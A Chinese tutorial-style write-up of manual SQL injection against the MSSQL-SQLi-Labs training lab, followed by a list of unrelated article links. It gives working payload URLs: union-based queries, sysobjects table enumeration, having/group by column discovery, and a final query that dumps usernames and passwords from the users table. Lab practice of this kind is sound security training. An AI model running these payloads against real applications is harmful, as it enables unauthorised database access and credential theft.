当前位置: 首页 > news >正文

MSSQLILABS靶场手工注入

一.判断注入点

注入点为1',如下图所示,可知数据类型为字符型

 二.判断是否为MSSQL数据库(可利用报错来看)

判断报错

判断正确

http://172.16.1.34/less-1.asp?id=-1' and exists(select *from sysobject)--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1' and exists(select *from sysobject)--+

三.:查询数据库信息,user回显的dbo表示是最⾼权限,如果是⽤户的名字表示是普通权限

 查出用户与数据库名http://172.16.1.34/less-1.asp?id=-1%27%20union%20select%201,user,db_name()--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1%27%20union%20select%201,user,db_name()--+

四. 通过以下语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

第一张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' )--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' )--+

第二张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

第三张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')-- +icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')-- +

第四张表

http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+icon-default.png?t=N7T8http://?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+

 第五张表返回值为空,说明只有四张表

五.爆出user表里信息

通过以下语句爆出

having 1=1 --+

'having 1=1- 'group by 字段名 1--+

having 1=1- 'group by 字段名 1 ,字段名 2--+

 

 

六.爆出字段值

http://172.16.1.34/less-1.asp?id=-1%27%20union%20all%20select%201,username%20,%20password%20from%20users--+icon-default.png?t=N7T8http://172.16.1.34/less-1.asp?id=-1%27%20union%20all%20select%201,username%20,%20password%20from%20users--+ 


http://www.mrgr.cn/news/5475.html

相关文章:

  • react面试题一
  • 机器学习:逻辑回归算法实现鸢尾花预测和银行数据处理
  • stm32—SPI
  • GitHub开源的轻量级文件服务器,可docker一键部署
  • Java中解决跨域问题
  • 【Python进阶(九)】——日期和时间
  • 深入探索fs.WriteStream:Node.js文件写入流的全面解析
  • 在亚马逊云科技上通过LangChain ReAct Agent开发金融多模态数据AI分析中台
  • 武汉流星汇聚:中国卖家秋季装饰热销,亚马逊平台助力全球布局
  • LeetCode 3133.数组最后一个元素的最小值:位运算+双指针
  • 简化登录流程,助力应用建立用户体系
  • shell程序设计入门(一)
  • Java之迭代器的使用
  • ShardingSphere、雪花算法、分布式id生成器CosID概述
  • 浅谈【网络编程】之Unix与多路复用
  • ELK日志分析系统
  • 七牛云 CDN 视频瘦身,为视频分发「减负增效」
  • 低代码表单引擎的核心不仅仅是拖拉拽,深入解析表单的高级功能
  • centos创建新分区,并实现挂载
  • Java基础——HttpStatus.class 源码中状态码总结